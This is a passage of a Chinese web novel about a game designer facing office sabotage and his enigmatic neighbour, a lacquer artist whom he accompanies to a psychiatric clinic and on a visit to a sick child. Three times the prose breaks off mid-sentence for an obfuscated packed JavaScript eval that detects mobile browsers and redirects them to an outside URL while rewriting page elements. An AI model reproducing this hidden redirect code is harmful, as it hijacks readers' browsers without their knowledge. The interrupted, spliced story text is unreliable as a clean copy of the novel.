几天前的对话之后,他跟喻雪生就再也没有过联系。 而通过楼上的安静程度判断,喻雪生估计又回了茶园。 但……他总觉得有些抱歉,也有些无法解决的困惑,有对喻雪生的,也有对自己的。 ——你在怕什么? 他总想起喻雪生的那句话。 如果喻雪生没点出来,他一直没注意到自己刻意的客气,或者不同寻常的紧张。 是害怕吗? 不,他不害怕自来熟的人,跟小宇、眼镜相处得都还算不错。 是讨厌吗? 不,喻雪生很优秀,性格也没看上去那么咄咄逼人…… 但却让人有种本能的、没法跟他熟悉的感觉。 一种不安定感。 “姜察?” 旁边的秋总叫了两声,姜察回过神来。 “你手机震半天了,看消息。”秋总指指桌子上。 放在玻璃桌上的手机亮着屏幕,是公司聊天软件的提醒。 姜察缓了缓神,拿起来解锁,看了两眼就皱起了眉。 “这他妈……”他没忍住骂了一句。 “怎么了?”秋总问。 姜察把手机递了过去。 消息是从原画审核群里发出来的,在这个群,负责原画的美术会把不同阶段的图发出来,让提需求的策划反馈。 但现在,屏幕上一团黑金交错的图案属实让人有点错愕,这时装跟什么前卫艺术走秀似的。 “这谁的需求?”寸头凑过来看了看,也愣住了,“太艺术了。” “……小姜哥的非遗主题吧。”秋总说。 “需求被改了,要么就是没按文档画。”姜察皱着眉。 “怪不得,”寸头说,“真这么小众的话,别说非遗了,恐怕遗都遗不下去……” 秋总斜了他一眼。 姜察拿着手机,正纠结着怎么反馈的时候,吧台方向突然走过来一个人。 是个原画组的女生,看到他时表情有点意外。 “小姜哥?”女生说,“你怎么在……” 话说到一半,她看到姜察手机屏幕上的图,噤了声。 她挺尴尬地笑了笑,这图虽然不是她画的,但丑得如此出众,应该早就在美术内部群传遍了。 “我下来买杯咖啡,怎么了?”姜察说。 “哦没事,”女生说,“就是我以为你在开会呢……” “什么会?”旁边的秋总问。 “漆艺非遗呀,三点的会,我们主美已经去了。”女生说。 ……操。 秋总转头看向姜察,姜察抿了抿唇,低头翻群。 果然,今早七点多的时候,群公告的角落里加了一条会议通知,但没添加任何参会提醒。 “我……”他咬了咬嘴唇,“没收到日程。” “谁拉的会?”秋总问。 “赵敬之。”他看着编辑记录。 “那傻逼是不是故意的?”寸头压低声音,“这不是坑人吗?” “不知道,”姜察看了眼表,两点五十五,“总之得赶紧上去。” 三个人起身,喝了一半的咖啡被搁在桌上,冰块已经彻底化在了咖啡液里。 姜察看了眼上面飘着的奶沫,有点莫名犯恶心。 秋总没再说什么,寸头走在前面,推开了咖啡吧玻璃门。 扑面而来的热风带着潮湿的空气,又一次裹了人满身。 …… 山里的梅雨季比市区里更潮,体感上也更闷热。 该隐站在沙发旁,正对着空调出风口,看着喻雪生在房间里调漆。 “空调遥控器呢?”该隐看着25度的抽湿模式,问。 “书架上,自己拿。”喻雪生说。 该隐刚往书架走了两步,喻雪生又突然直起身来:“你最好别调,这几天得控制温度湿度……” “行吧。”该隐停了步子,叹了口气。 喻雪生这趟回来的时间比原计划早,不过这层漆正好干了,可以提前进行下一步。 受天气的限制,梅雨季的大漆要更难伺候一些,在某种角度上,喻雪生跟大漆也差不多…… 事儿多难搞,碰了就过敏,仔细想想还是个小众爱好。 “你这批作品有这么急吗?”该隐看着他,“做得不眠不休的。” “闲着也是闲着。”喻雪生低着头。 他语气很平静。 ……两天没睡的人可不是得平静点么。 房间里很安静,几乎只有除湿机开着的声音。 该隐想说点什么,但又不好开口,毕竟现在这状况他相当熟悉。 “你走之前是不是问那对龙凤胎来着?”该隐想了半天,说。 “嗯。”喻雪生应了一声。 “他们家退房了,”该隐说,“说是要带小男孩去省立医院。” “省立医院?”喻雪生皱了皱眉。 “是,”该隐看着他,“说好像是什么贫血,得定期输血……” “那孩子还挺活泼的。”喻雪生说。 “他爸妈还提到你了,”该隐说,“俩小孩特别喜欢你,还想找你玩……要不抽空去看看他们吧。” 喻雪生看着上了一半漆的葫芦,没吭声。 旁边的茶几上还放着那本版画鉴赏,他摘下手套,把书拿起来塞回书架上。 “你自己是不是也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189145|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该去医院了。”该隐犹豫了一下,说。 终于把话题引过来了。 喻雪生还是没说话。 “有句话我能……” “不能。”喻雪生打断。 “你最近状态不行啊,”该隐没理他,“是不是停药了?” 喻雪生现在想关门把该隐拍在外面,但还是忍住了这股冲动。 他很烦别人管这件事,很烦,非常烦。 但该隐说的没错,这段日子过得跟做梦似的。 “吃完了,等下礼拜吧。”过了会儿他说。 “还要拖?”该隐问。 “下礼拜我去找孙医生,”喻雪生翻了手机日历出来,“不是拖,我周五要跟《恐惧追踪》对接。” “都这样了还……”该隐皱了皱眉。 “我是疯了啊还是杀人了啊!”喻雪生没忍住喊了一句,“你少操心。” “我就是看你最近不对,你是不是碰到什么事儿……” “热得。”喻雪生看着他。 “啊?”该隐愣了愣。 “天气影响情绪变化,”喻雪生啧了一声,把手机丢回桌面上,“去吧,给我拿根冰棍儿。” 该隐都不知道该说什么了。 “要三块钱以上的。”喻雪生对他笑了笑。 该隐没再说话,无奈地转身出了房间。 …… 需求确实是被改了,但据主美说,他们只是做了小部分颜色的调整。 “我跟敬之商量了一下,换个颜色表现力可能更强一点,”主美说,“如果不合适的话,后面也可以改回来,也就拉个配色的时间……” “怎么没人跟我说?”姜察相当不快。 “昨晚去找你的时候,你已经下班了。”主美笑了笑,说。 操。 从会议室出来,姜察拿着杯子去了茶水间。 吨吨吨地灌了两杯水都没把火气压下去。 先是改需求,又是拉会议不加他的日程,最后还明里暗里地点他晚上不加班。 这次是赶上会议了,但如果没赶上呢? 是告他一手玩忽职守,还是要拉新来的会议PM跟他一起分锅? 真他妈离谱。 这份傻逼工作中,工作之外的麻烦总是比工作本身的多。 下班前,秋总和寸头给他发了消息问情况,听完后群里飘过一片无语的省略号。 【秋秋秋:他们有病吧?】 【养生小饮料:不知道。】 【寸头:最近外卖商家搞活动。】 【秋秋秋:?】 【秋秋秋:咱聊什么呢?】 【寸头:……让姜察给他俩点两瓶脑残片吃吃。】 【秋秋秋:……】 【养生小饮料:……】 姜察一时间都不知道是该气还是该笑了。 不过他确实还比较好奇这两人的病因,毕竟按什么角度讲,二位主管都犯不上给他使绊子。 结果病因很快就出来了。 “赵敬之要参加下半年的职级评审,他现在在到处收集材料,往PPT里塞。” 秋总站在楼梯间里,边说边啃着一个苹果。 “有那么多能塞的东西吗?”姜察皱了皱眉。 “没有吧,”秋总啃了口苹果,“所以才想办法新鲜制造。” 公司里一年两次职级评审,低职级送材料,高职级还得做PPT汇报。 像赵敬之这么高的,升一次估计不容易,能送的材料也不多。 这个非遗大概是下半年最大的企划。 “这东西得提前说好谁来主导,要不然还没等做就抢功……”秋总说。 “他爱抢功是他的事,”姜察说,“就怕前期就这样,后期还会被插手、继续出问题。” “你打算怎么办?”秋总问。 “先去找主策吧,”姜察皱着眉,“至少先同步情况,看看能不能让我或者赵敬之撤出去。” “有点难,他不见得真想干活。”秋总说,“不过我有个办法。” “你说。” “拉外援。”秋总啃苹果的动作顿了顿。 “外援?从哪个角度?”姜察看向她,“专业外援还是玩家落地?” “都要。”秋总说。 姜察愣了愣。 “需要能给出专业意见,也需要客观反馈,”秋总把果核扔进旁边的垃圾箱里,“主策应该能接受,这个在企划初期他就跟我聊过。” “你的意思是……”姜察犹豫了一下,看着她。 秋总点了点头。 “喻雪生……啊。”姜察说。 16. 第 16 章 跟喻雪生的合作,原本是打算放在企划上线后的宣发阶段。 但眼下,在还没找到其他专业顾问的情况下,游戏区up主、《恐惧追踪》高氪玩家、漆艺专业的喻雪生无疑是最好的外援人选。 于是听了企划的情况后,主策欣然同意了让喻雪生介入设计环节的提议。 “不过他只能给出建议,”主策说,“毕竟他是玩家,设计方面的事还是要我们自己把控。” “没问题。”姜察点头。 “那我下午去跟主美谈,哦,这周五我正好约了几个主播,喻雪生也在,你们也可以直接开会。”主策说。 “……这周五?”姜察愣了愣。 “嗯,原本要聊聊最近的玩家舆论……还有些别的,”主策看了他一眼,笑了笑,“没事,跟你们没关系。” 姜察嗯了一声,没再说什么。 在跟主策沟通的过程中,他自然没讲赵敬之和主美联手坑他的事。 一来没有证据,二来,这两人在职能上确实有介入他工作的权力。 只不过到了第二天,主策进群宣布“顾问”介入后,群里鸦雀无声了一上午。 午休时,姜察在茶水间偶遇了赵敬之。 赵敬之的脸上倒看不出什么表情,只不过跟没看见他似的,连个招呼都没打。 那就不打吧。 姜察拿了块粗粮小饼干,边咬着边溜达回了工位。 …… 按沟通过的时间,喻雪生会在周五下午四点到。 他会先跟主策聊一个小时,五点再去参加非遗企划的小会。 周五,姜察坐在工位上,突然觉得有点莫名的忐忑。 秋总说的对,他们确实需要一个专业人士的建议,以避免企划在各方拉扯下严重跑偏。 但喻雪生会给出什么建议? 客观的?不客观的? 万一像他的视频里那么咄咄逼人,主美会不会掀桌? 而且他刚跟喻雪生刚闹过不愉快,万一…… 再回过神来的时候,屏幕上的表格已经被他戳得乱成了一片。 就这样满脑袋飘忽地挨到了下午。 下午时间,丸子突然找了过来。执行策划请假,她不得不来学新时装的配表。 “这个辉光……哦,管美术要参数。”丸子拿着个小本本,边看边记着。 “这有什么好记的?”姜察有点无语。 “强化记忆嘛,”丸子说,“而且我学会了还得教萝卜去呢。” 也不知道上一个包装组组长怎么带的,这几个小孩进组快一年了,连表都没配过。 “这后面都标了备注了,”姜察叹了口气,“你不会的时候再……” 话说到一半,他突然卡住了。 正对他们工位的方向,三楼的电梯间里突然走出来几个,打头的是他们主策,后面跟着的几个人应该是官方合作的主播。 其中有个挺矮的身影,跟坐着似的…… 这人到底有什么问题? 姜察脑袋上的问号都快具像化了——喻雪生又是坐着轮椅来的! “好帅啊……”旁边的丸子突然感叹了一句。 “什么?”姜察没反应过来。 “主播团啊,”丸子指了指电梯间那边。 “不认识。”姜察皱了皱眉。 “前面两个是国服第一第二,萝卜是他们粉丝,”丸子说,“太可惜了她请假了。” 姜察扫了眼,是两个挺高挺年轻的男生,倒没看出来帅在哪儿。 “后面那个……”丸子歪了歪头,“咦,茶园小哥?他怎么坐轮椅了?” 姜察皱了皱眉:“我哪知道。” “我就感叹一下嘛。”丸子看了他一眼。 姜察没接话,扫了眼电脑右下角的时间,四点四十。 倒是还能再配两行表。 “上次回去后我还搜他了,白雪王子,”丸子还盯着走过去的几个人,“要我说这几人里还是他最帅,要是上次多聊两句……” “把脑袋转过来,”姜察敲了敲桌子,“你还学不学了?” 丸子吐了吐舌头,乖乖坐正。 喻雪生这人是不是有八百多个人格? 根据不同场合和功能需求出现,有专门在公司里抬杠的,有正儿八经看着像个精英艺术家的,还有没事找事的…… 今天开会就是精英艺术家的上场时刻。 喻雪生坐在会议桌旁时,还是那套常见的打扮,缎面衬衫,熨得笔挺的长裤。 虽然依然收拾得像要上时装周一样,但有点出乎姜察的预料,会议中他相当谦逊配合。 “作为玩家,我觉得目前的华丽度很够了,”喻雪生坐在他斜对面,微笑着看着主美,“如果是我的话很愿意付费。” “谢谢。”主美的脸上有点得意的神色。 “但作为漆艺专业……哦其实我也不是很专业,”喻雪生带着点抱歉的表情,“只是说个人看法哈,可能文档里的主题更贴近我们熟悉的技法……” 开完会出来,主美主动拿着草稿回去改了。 英雄难过美男关啊。 姜察走出会议室的时候,有点犹豫地停下脚步,回头看了一眼。 喻雪生还坐在会议室里,低着头,翻着一叠秋总刚刚送来的资料。 “姜察?”秋总抬头,看见站在门口没走的人,招了招手。 他只好走了过去。 “今天多亏有喻老师的建议,”秋总微笑着,“后面可能还会麻烦人家。” “不麻烦。”喻雪生笑了笑,“能帮上忙就行。” “你是高氪玩家,对玩家群也非常熟,你的建议相当重要,”秋总看向姜察,“对了,姜组长,你们要不要留个联系方式?” “我……”姜察犹豫着。 “好啊。”喻雪生说。 姜察看向他。 不是留过吗? 喻雪生从口袋里拿出手机,解锁划开。 由于坐着轮椅,姜察的视角能很清楚地看见他的屏幕。 通讯录里一片空白。 这是删了还是清空了? “姜组长?”秋总在旁边叫了句。 “……稍等。”姜察回过神,赶紧把目光从他屏幕上移开,也掏出手机。 由于担心喻雪生坐着轮椅行动不便,彻底忙完后,秋总和姜察把他送到了园区门口,又在手机上给叫了车。 等车开走,秋总立刻抱着手臂,看向姜察。 “说说吧。”她说。 “说什么。”姜察一脸郁闷。 “怎么回事啊?”秋总啧了一声,“你是不是早跟他认识了。” “我跟他比你跟他认识早呢……”姜察嘟哝了一句。 旁边一辆网约车发动,带过一片跟飞碟降临了似的电动噪音,几乎盖住了他的后半句话。 “我没说这个,”秋总调出打车的页面,“这也是巧合?他连地址都是你住的那栋公寓。” “这个真是巧合。”姜察说。 “那别的呢?”秋总盯着他,“姜察,你这个畏畏缩缩的态度就很可疑……” “行行行。”他无奈地做了个暂停的手势。 等和盘托出这段时间的所有事之后,秋总眼睛都瞪大了。 “……真有你的。”她竖了竖拇指。 又思考了半天,秋总最后总结道,不管是因为什么,接下来都得尽量跟喻雪生搞好关系。 毕竟后面的合作相当漫长,而小姜哥的命运,也几乎掌握在喻老师的手中…… …… 【小雪花:姜组长,你好。微笑/】 【养生小饮料:你好。】 【小雪花:请问怎么备注?】 【养生小饮料:姜察。】 【小雪花:好的,叫我喻雪生就行。微笑/】 外面天已经黑了,姜察趴在床上,看着手机上的聊天框,只觉得太阳穴嗡嗡直跳。 ……这又是演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189146|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪出? 楼上明显有人走动的声音,喻雪生回家了。 进门时二楼还传来了猫叫,这回带了雪球,估计是要长住。 ……但这个聊天是怎么回事? 装什么初次见面呢! 他在对话框里删了打打了删半天,总觉得该跟这人聊聊,但又不知道怎么开口。 于是百般纠结后浓缩成四个字。 【养生小饮料:你有空吗?】 对面没有回复。 姜察拧着眉头看了对话框一会儿,只好又点进喻雪生的朋友圈,上一条消息还是两天前发的。 ……是某个开放世界新游的评测。 他从床上坐起身,看向桌上没拆的快递盒。 【养生小饮料:你也喜欢开放世界?】 【养生小饮料:我买了新游,要不要试试?】 【养生小饮料:[卡带照片.jpg]】 又过了两分钟,对面终于回了消息。 【小雪花:好~】 姜察拿着刚拆封的卡带盒上了楼。 他尽量轻柔地敲了敲门,门开后,喻雪生探了个脑袋出来,表情相当惊讶。 完全没有演的痕迹。 姜察扫了他一眼……果然,没坐轮椅。 “姜组长,你也住这里?”喻雪生说。 “你认错人了,”姜察没好气地说,“我是闪送。” 还没等对方反应过来,姜察把手里的卡带塞了过去:“您的货物到了,请查收。” 喻雪生怔了怔,拿着卡带看了看,没过一会儿,乐了。 姜察看着他的表情,心里松了口气:“对不……” “哎,”喻雪生笑着说,“姜组长还挺幽默的。” 这口气又收了回去。 “姜组长着急玩吗?我看是新游戏,你还没玩过呢。”喻雪生扬了扬手里的卡带盒子。 “……不急。”姜察说。 我上次玩的时候你还站我旁边呢。 “那谢谢了,我尽快还你,到时候给你发消息。”喻雪生点点头。 “啊。”姜察看着他,应了一声。 真礼貌啊。 礼貌得有点烦人了。 这一瞬间,他突然有点意识到了喻雪生生气的原因。 一口一个“谢谢”、“姜组长”,但自己之前也不是这么说话的吧? 这算哪门子以其人之道还治其人之身…… “姜组长,没有其他事的话我就关门了,”喻雪生说,“我该睡了。” 姜察看了看表,还没到十点。 “晚……”喻雪生微笑着准备关门。 “等等!”姜察喊了一声。 也许是声音太大,话音落下,喻雪生身后的屋里乒乓一通响,过了几秒,一只被声音吸引的猫钻了出来。 喻雪生轻轻向后踢了踢雪球,没说话。 “我真的很抱歉,”姜察咬了咬牙,“我之前真的不是故意的……” 喻雪生看着他。 姜察犹豫了一下:“今天的会议,还是要谢谢你……” “不客气。”喻雪生说。 “所以你能别装不认识我了吗?”姜察问。 “我没说不认识你,”喻雪生很平静,“但我们没那么熟吧?” “……靠。”姜察快忍不住了。 “晚安吧。”喻雪生笑了笑。 门在他面前关上了,姜察彻底无语,转身下了楼。 边下楼还边窝火得要命,忍不住骂了一声。 “真他妈有病。” 话音刚落,只听吱嘎一声,楼上的门又突然开了。 姜察愣了愣,脚步定住了。 “姜组长,”喻雪生的声音在楼梯间里响起,“你明天有空吗?” “啊?”姜察有点懵,“……有。” “陪我去看看病吧,”喻雪生的声音带着点笑,“我病得不轻呢。” 然后又“砰”地关上了房门。 17. 第 17 章 姜察怎么都没想过,他竟然真的会陪喻雪生去医院。 活了二十多年没见过成年男性去医院还要人陪的。 一时间,甚至分不清喻雪生是认真的还是在故意整他。 周六是个三十五度的艳阳天,早上起来的时候,姜察看着高温预警直发愁。 这天气,放平常别说出门,他肯定连垃圾都要趁晚上才丢下去。 而眼看着到了正午最高温时,左等右等,喻雪生才终于出了门。 “早啊,姜组长。”楼上的人慢悠悠地下来,扬扬手跟他打了个招呼。 喻雪生戴着副墨镜,身上穿着身质感很不错的亚麻套装,整个人仿佛在布灵布灵的发光。 路过电梯间时,姜察忍不住照了照镜子,自己简直像他的受气包助理。 不过也差不多了。 ……氪佬的贴身小策划,悲惨打工人。 喻雪生去的医院离家有点远,在市中心的景点附近。 明明是周末,看病的人却比景区的游客还多,连院子里都被车停得满满当当。 等再走进去,大厅里也闹成一片,人声里夹杂着广播声、咳嗽声,还穿插着孩子的嚎哭…… “我不打针——” 几乎贴着耳朵响起一声刺破天际的尖叫。 “你别逼我在这里扇你!”一个小胖墩正被他妈扯着。 姜察看着一大一小旁若无人地撕扯了一会儿,最终小胖墩落败,留下两个远去的背影。 “看什么呢?” 正愣神的时候,一双手在他肩上拍了拍,姜察回过头,看见喻雪生正站在他旁边。 “没事,”姜察摇摇头,“先去挂号吧。” “嗯。”喻雪生应了一声。 导诊台的队伍排得很长,但喻雪生没排队,直接去了挂号机那边。 看他掏出证件的时候,姜察才想起来,自己还不知道他到底要看什么病。 看这么熟练的动作,这人估计不是第一次来了。 看腿吗? 还是别的? 姜察站在他旁边,看着机器“哔”地响了一声。 A栋,六楼,专家号预约…… 精神科。 姜察有些错愕地抬头,看了身旁的人一眼,喻雪生倒是没什么表情,在机器上操作着。 “怎么了?”似乎是察觉到他的目光,喻雪生抬起头。 “没,”姜察反应过来,“你……还有社保卡啊?” “嗯,在学校办的。”喻雪生笑了笑,把证件收好。 姜察点点头,没再说话,转移视线看向后面排队的人。 医院大厅里相当喧闹,过了会儿,他突然听见一个女人挺不高兴地嘟囔了一句。 姜察这才回过神来,发现自己盯着排队的人看了太久了。 也不知道在发什么呆。 他又有点尴尬地转回去,身旁,喻雪生已经拿上了挂号单。 精神科所在的六楼和其他楼层没什么不同,电梯门一开,照样是乌压压的一片人。但不知是不是错觉,这层似乎比别的楼层更安静。 走到候诊区,叫号的屏幕前摆着几排金属椅子,边上恰好还剩两个空位。 姜察跟着喻雪生走过去,坐下。 医院的空调开得很足,候诊区的椅子是金属的,不过一会儿,就冷得人起了一身鸡皮疙瘩。 面前的大屏幕上滚动过一行行人名,时不时有人站起来走向诊室…… 昨天那句“真他妈有病”,喻雪生听见了吗? 姜察突然有点后知后觉,幸好骂的不是什么更确切的,要不然…… 他抬头看了看导诊台上的三个大字——精神科。 所以到底是什么病? ……又来了,问不出口的问题。 广播很快就叫到了喻雪生的号,喻雪生站起来的时候,轻轻按了按也想跟着起立的姜察的肩。 “在这里等我吧。”他说。 姜察只好又坐回去,看见面前的人走进走廊,屏幕上,仍在继续播报下一波人名。 在一片子涵紫函雨希雨曦张强李强的名字里,不知道为什么,他总觉得“喻雪生”这三个字给人一种轻飘飘的感觉。 不太接地气,像随时就会被风吹走似的。 和这个人一样。 好像飘着,偶尔又落在地上。 半个小时后,喻雪生从诊室出来了。 他表情没什么变化,但没再戴墨镜,两人又去一楼拿药,配药师从小窗里递出几个药盒。 整个流程……跟看了场感冒也没什么差别。 袋子在喻雪生手里拎着,姜察离得太远,看不出里面装的是什么。 也许是因为午休结束,拿完药的时候,门诊部的人比他们来的时候少了点。走出门诊部大门,喻雪生突然停了脚步。 “姜组长现在有空吗?”他问 “怎么了?”姜察看着他。 “劳烦你帮个忙吧,跑趟腿,”喻雪生说,“这附近有个花店,帮我买束花。” “买花?”姜察愣了愣。 “看见那边的花店了吗,”喻雪生凑过来,顺着他的方向,抬手往医院对面指了指,“帮我买束向日葵啊什么的,一百来块钱就行,回来付你。” “不用,但……”姜察还是有点吃惊,没见过看个病自己给自己送花的。 “回来给你报销,去吧,”喻雪生拍了拍他的肩,“我这两天腿疼,就站这儿等你。” 姜察没再说什么,点点头。 喻雪生说的那个花店就在马路对面,建在一间沿街的商铺里,小得跟个盒子似的。 走进屋,屋里堆满了乱七八糟的花材,玫瑰百合康乃馨……看种类,估计都是卖给来探病的人。 可能是图方便,花束也都是搭配好卖的。姜察对着成品图简单看了看,挑了束向日葵。 包装的时候一数才发现缺了两枝。 “哎呀,今天生意太好了,”老板一拍脑袋,“你图上那款向日葵不够了,我给你搭点别的吧。” “也行。”姜察有点无奈。 “小哥你是探病的吧?多大年纪?”老板站起来,拍了拍手,“长辈还是朋友……” “你看着搭吧,我也不懂。” 姜察叹了口气,他连这花怎么回事儿都不知道呢。 过了两分钟,他看见老板沉思片刻,抓过一堆尤加利满天星。 又端详了下,插了几朵大红玫瑰。 最后包了张玫粉色的纸。 姜察走出花店,拿着花沉默着。 可算是知道为什么都搭配好才卖花了。 姜察拿着花束过马路的时候,喻雪生正靠在门诊部门口低头打游戏。 屏幕上“失败”两个大字渐渐消散,余光里,突然闪进来一团五颜六色的东西。 他抬起头,看见面前人手里的花,愣了片刻后乐了。 “这花束是不是叫色盲之光啊?”喻雪生把游戏关掉,说。 “不是我配的。”姜察皱了皱眉。 “能愿意买这东西也不容易,”喻雪生抬起手机,给花束拍了张照,“配色够抽象的。” “向日葵卖完了,那老板自己搭的几朵。”姜察叹了口气,把花束塞给喻雪生。 “是么,”喻雪生接过花束,笑了笑,“他之前配花也这样,五颜六色全看心情。” 喻雪生低头,摆弄了两下花束,过了会儿,姜察又听见他啧了一声。 “不过这几朵玫瑰……你怎么不拒绝他?向日葵不够少付点钱不就行了。” “哦,”姜察怔了怔,“光想着你还在等……” 喻雪生看了他一眼,笑了笑,没说什么。 两人拿着花从门诊部门口走过,姜察紧紧跟在他后面,也不知道到底是要去哪儿。 喻雪生一路上几次掏出手机看消息,又在院子里看了看地图,最后进了住院部。 在前台登记的时候,他终于开口说了话。 “我们现在要去看一个小朋友。”他说。 他们要去的病房在走廊的最尽头,推开门,病房里只有两张床,一张空着,另一张上躺着个小男孩。 一男一女围在床边,估计是孩子的父母,看见来人都站了起来。 “你是茶园那位……”他妈妈有点吃惊。 “叔叔阿姨好。”喻雪生笑着点点头。 “你好你好,没想到你真的来了,”他爸爸走过来握手,“麻烦你了。” 病房的窗开着,浅金色的窗帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189147|181046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很厚实,随着吹进来的风轻轻晃动。 屋里没开空调,有点热,但男孩在床上睡得很安静,屋里的几个人都压低了声音。 “这位是……”男孩的爸爸接过花,看向门口的姜察。 “我朋友,”喻雪生笑了笑,“也是搞艺术的。” “你好。”男孩的爸爸点点头,也向姜察伸出手。 姜察边微笑握手边有点无奈。 真是张口就来,他搞第九艺术吗? 几个人坐在床边聊了一会儿,姜察这才听明白是怎么回事。 病床上的男孩儿患有再生障碍性贫血,从几岁起就一直吃药输血控制。 眼下,最好的治疗方案是进行造血干细胞移植,但全家没一个人能配上,所以才来外地配型…… 也就是前几天,他们住在隐茶空间的时候认识了喻雪生。 “退房前他跟妹妹还去找过你,”孩子妈妈说,“看你不在还会来跟我们说,总觉得有点遗憾。” “嗯,民宿的人跟我讲了。”喻雪生看着床上睡着的男孩。 “他除了妹妹就没什么朋友,这几年病情也不好,所以很难碰到愿跟他玩的人……”孩子妈妈看着床上的男孩,小声说,“真的很感谢你。” 姜察在一边静静地听着,又听他们聊到妹妹,说是趁放暑假,让其他亲戚带着去旅行了。 “两个孩子感情很好,但我们也不能让妹妹总来医院待着……”妈妈说。” “孩子从来不说,但说不定他们比我们还懂呢。”孩子的爸爸无奈地笑了笑。 虽然不明显,但两个家长的头发都白了许多。 男孩睡醒后,看见喻雪生非常惊喜,几个大人陪着玩了一会儿,画了会儿画,又读了几本书。 快傍晚的时候,才总算是告别。 一来二去在医院里折腾了一下午,走出大门时姜察抬头看了看,天色已经渐暗,暑气也消散了些。 虽然空气还是粘稠的,但这会儿已经没那么闷热了。 喻雪生站在医院门口的人行道上,低着头打车。 来往的行人很多,同一片路边,也有不少正在等车的人。 姜察看到一个孕妇,身旁有丈夫陪着,又看到坐在轮椅上的老人,身后站着推着他的家属。 再一转身,马路边站着个跟白天的小胖墩很像的小孩儿…… 也有些年轻人,看着手机,独自站在街边等着红绿灯。 每个人的脸上都带着疲惫。 七点钟,天还没黑透,街灯陆续地亮了起来。 喻雪生站在灯光下,半长的头发遮着侧脸,发丝微微反光。 “喻雪生。”姜察看着他,开口。 “嗯?”喻雪生抬头。 “那孩子……应该没事吧?”他问。 “没事,”喻雪生顿了顿,“他爸妈都陪着,而且还那么小。” “嗯,”姜察叹了口气,“小孩儿也许能生命力旺盛一点……” 喻雪生点点头,没再说话,还在手机上划着。 过了一会儿,估计是车到了,他抬起头,眯着眼辨认车牌上的尾号。 “喻雪生……” “又怎么了?”喻雪生转向他,“还有要感慨的?” 姜察被噎了一下,没再吭声。 两人找到一辆黑色的车,喻雪生走到前面,拉开副驾驶的车门。 姜察坐在后排,车发动后,看着车窗外医院的大门迅速倒退而去。 但直到车子开出几百米,直到快进了景区的范围,都还能见到路边拿着CT片子的人。 “……真不容易啊。”他叹了口气。 “什么?”喻雪生问。 “来看病的人,”姜察看着说,“男女老幼,苍生百态,还有那么小的孩子。” 喻雪生没说话。 “大家都在奔波,”姜察说,“活着真不容易。” “嗯。”过了半晌,喻雪生淡淡地应了一声。 “所以你为什么……”姜察犹豫了一会儿,看向前排。但话说出一半后,又噤了声。 喻雪生没什么反应。 过了一会儿,只见他把墨镜从口袋里掏出来,擦了擦。 “为什么跳楼,是吗?”喻雪生回过头,问。 18. 第 18 章 为什么跳楼? 连开车的司机都微微回了下头,估计是没在生活中碰到过这么重磅的对话。 姜察有些错愕,喻雪生突然把问题点出来,让他也有点尴尬。 “……我不告诉你。” 还没等他尴尬完,喻雪生又飞快地接了一句。 “啊?”姜察怔了怔。 “你知道吗?姜察,”喻雪生说,“每个人隐藏情绪的方式是固定的……” 他把墨镜收好,伸手在座椅下摸着什么。 “但如果总在藏,那跟没藏也没什么区别。”喻雪生说。 姜察皱了皱眉,没太明白突然来这一通说的是什么。 “所以,对于我来说……”喻雪生继续说,“你的问题其实都写在脸上。” 副驾驶的座椅突然“啪”地放了下来。 “但我不告诉你,”喻雪生躺在座椅上,歪过脸看着他,“因为这是我看出来的,不是你拿嘴问出来的。” 喻雪生的嘴角带着一丝笑,眼神也带着点调侃。 姜察皱了皱眉,只好有点别扭地转过头:“我没想问这个。” “是吗?”喻雪生故作惊讶道,“也对,毕竟你离能问我事儿还远着呢,你跟我还不……” 又是这句。 姜察已经无语到不知该说什么了。 “到了叫我。”他闭上眼睛,不想再听。 喻雪生这种突然抽风又突然像正常人一样的状态,姜察其实早就习惯了。但他之前还没发现,这人报复心够重的。 看着不像大二的学生,像小学二年级还没毕业。 回到公寓后,他洗完澡躺在床上的时候只觉得心累。 本来以为今天能缓和缓和氛围,结果一天下来又是这么收尾。反复多次的问题依然没有解答……已经不知道是该无语、疲惫、还是委屈。 但不管怎样,都改不了还得继续跟喻雪生相处下去的事实。 工作,毕竟是工作…… 上次开会之后,也许是因为有了主策和外部介入,主美那边的态度正常了许多。 喻雪生被作为外部账号拉进了群里,又一版草图回来时,姜察觉得还挺满意,至少不是一坨看不明白的颜料了。 但草图发出来半天,喻雪生都没在群里说什么。 姜察挑了几个小点,自己写了反馈发到群里,但没过两分钟,一个小窗突然弹了出来。 【小雪花:上次的花是不是还没转你钱?】 【养生小饮料:什么?】 【养生小饮料:说这个干嘛】 【小雪花:哦,我以为你很在意】 【养生小饮料:?】 【小雪花:……不在意的话干嘛弄个同款审美出来?】 